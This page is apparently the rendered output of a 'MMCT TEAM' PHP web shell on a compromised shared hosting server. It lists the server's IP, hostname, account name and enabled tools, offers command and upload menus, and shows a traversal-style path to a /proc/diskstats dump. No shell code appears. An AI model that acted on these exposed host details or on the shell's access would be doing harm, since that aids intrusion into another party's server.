MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.129.63.252
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /etc/popt.d/../xinetd.d/../gss/../pki/../ssh/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //etc/popt.d/../xinetd.d/../gss/../pki/../ssh/../../proc/diskstats
   1       0 ram0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       1 ram1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       2 ram2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       3 ram3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       4 ram4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       5 ram5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       6 ram6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       7 ram7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       8 ram8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1       9 ram9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      10 ram10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      11 ram11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      12 ram12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      13 ram13 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      14 ram14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   1      15 ram15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8       0 sda 8185060391 150870022 225302353494 3460398486 7677301506 3182273883 251875340944 4047937649 0 3995677658 1056826570 0 0 0 0
   8       1 sda1 1344238288 37672 44004206410 685367958 2277878273 326736855 88225600216 3129074828 0 467504565 3805799082 0 0 0 0
   8       2 sda2 2674625 630 42725730 1990410 59652866 117668602 3594709120 69527115 0 12040993 69802893 0 0 0 0
   8       3 sda3 67784505 11195476 640524784 21897445 213508242 80719662 2353823232 183457833 0 55144259 206575041 0 0 0 0
   8       4 sda4 21961 0 126104 8118 0 0 0 0 0 8116 8116 0 0 0 0
   8       5 sda5 6770326772 139636244 180614394578 2751129147 5061045819 2657148764 157701208376 657570644 0 1630733674 3381586436 0 0 0 0
   8      16 sdb 10332272304 2573311 152581274146 3765917985 199584728 233108267 25833517496 219596452 0 1480598255 3377834308 0 0 0 0
   8      17 sdb1 10332257884 2573311 152580900594 3765912665 189455591 233108267 25833517496 218979746 0 2262266817 3957897066 0 0 0 0
   8      48 sdd 10329661218 2150261 148031185626 3661607592 240445775 304551749 19167864072 221521344 0 1929489050 3655988039 0 0 0 0
   8      49 sdd1 10329646810 2150261 148030812170 3661602346 228131029 304551749 19167864072 220738032 0 2307189320 3843557254 0 0 0 0
   8      64 sde 19386729024 2864589 263044076714 2658424436 362112037 468620397 22295831896 294277587 0 1095875569 324186897 0 0 0 0
   8      65 sde1 19386714591 2864589 263043703066 2658419689 338091862 468620397 22295831896 292748582 1 4006104270 2906505078 0 0 0 0
   8      32 sdc 10856189177 1766113 143384510402 3641012012 183129281 229132362 12960275032 163722257 0 705034577 2448095501 0 0 0 0
   8      33 sdc1 10856174743 1766113 143384136738 3641007068 170016272 229132362 12960275032 162964476 1 2287916653 3767857039 0 0 0 0

MMCT - 2023